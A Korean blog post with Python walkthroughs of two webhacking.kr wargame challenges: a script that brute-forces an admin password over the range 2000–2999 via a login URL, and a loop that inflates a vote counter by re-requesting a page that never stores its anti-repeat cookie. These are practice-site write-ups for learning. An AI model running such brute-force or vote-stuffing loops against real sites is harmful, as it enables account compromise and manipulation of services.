본문 바로가기

Study/Python

webhacking.kr Python 풀이

파이썬을 활용해서 풀수있었던 문제가 두문제 있었습니다.

하나는 브루트포싱문제고 하나는 방문수 올리는 문제입니다.


먼저 브루트포싱 문제부터 보겠습니다.

<!-- brute force challenge! id : guest pw : 1234 id : admin pw : 2xxx admin pass range is 2000 ~ 2999 -->
소스를 보면 다음과 같은 내용이있습니다.

'''
Created on 2012. 7. 5.

@author: Administrator
'''
import urllib
import re
for i in range(2000,3000):
    url="http://webhacking.kr/challenge/web/web-04/index.php?PHPSESSID=53b6e7b32b2e183491de4f287b76c126&cid=admin&cpw="
    url+=str(i)
#    print url
    fp = urllib.urlopen(url)
    text= fp.read()
    text= re.findall('Wrong password',text)
    if text:
        print "fail "+str(i)
    else:
        print "success "+str(i)
        break


소스는 간단합니다.

urlib2를 사용할수도있었고 세션을 저렇게 URL에 넣지않고 직접 여는방식으로 짤수도 있었지만 가장 간단한 방법이 생각나서 열혈강의 파이썬 책을 참고하여 짰습니다.


※세션은 webhacking.kr에서 로그인한후 쿠키에서 PHPSESSID를 확인한후 넣어주시면됩니다.

url변수에 쿠키로 세션을 전달하고 &로 cid 그리고 끝에 &cpw= 를주고

for문으로 뒤에 숫자를 하나씩 증가해가면서 넣어줍니다.

print url은 넣어준값이 어떻게 들어갔는지 디버그한건데 우선 주석처리합니다.

urlib를 이용해서 완성된 url로 해당 페이지를 읽어 들여 text에 저장합니다.

re 라이브러리의 findall함수를 이용해서 text에 저장된내용중 Wrong password가 있는지 확인후 결과를 다시 text에 저장합니다.

해당 문자열이 있다면 1이 리턴되어 결과는 참이되므로

if text: 문의 내용이 실행됩니다.

fail 실패한 cpw값을 출력하며

만약 없는경우 성공입니다.

success 성공한 cpw 값을 출력하며 종료됩니다.


사실 2000부터 2999까지 무작정 urlopen만해도 자동으로 풀리게되서 굳이 Wrong password란 문자열이용해서 cpw값을 알아낼 필요가 있을까라는 생각도 해보았지만 경험을 얻고자 진행한 부분입니다.




이번엔 방문자수 올리는 문제입니다.

http://webhacking.kr/challenge/codeing/code5.html

에들어가시면 user들의 목록과 방문자 순위가 있습니다.

맨밑에 Join을 누르게되면 로그인한 User도 순위표에 추가되는데요

추가된 이름을 클릭하시게되면

http://webhacking.kr/challenge/codeing/code5.html?hit=sunrint

이런식으로 해당 id가 있는 URL로 이동되며

조회수가 1오르고 쿠키에 vote_check=ok 라는 값이 남게됩니다.

쿠키를 제거하고 다시 들어가셔야 재투표가 가능합니다.

방문수는 총 500을 채우면 되는문제입니다.


이번에는 신기하게 풀게되었는데요.

앞의 소스를 재활용해서 풀게되었습니다.

import urllib
url="http://webhacking.kr/challenge/codeing/code5.html?PHPSESSID=53b6e7b32b2e183491de4f287b76c126&hit=sunrint"

for i in range(1,500):
    urllib.urlopen(url)


Python의 urlib의 urlopen 함수로 페이지를 열었을때 쿠키는 저장되지않습니다.

로그인 처리는 역시 세션쿠키로 직접넘겨주게되었고요

urlopen이 매번 연결을 시도하는 일회성함수라 몰라도 결과적으로 vote_check=ok 쿠키값이 저장되지않았습니다.


따라서 위 소스를 돌리고 기다리시면 자동으로 문제가 풀리게됩니다.

'Study > Python' 카테고리의 다른 글

Google Text to Speech Bypass  (0) 2016.03.02
md5 hash collision  (0) 2012.09.10
Python Hacking Programming(Gray Hat Python) Chapter1  (0) 2012.09.08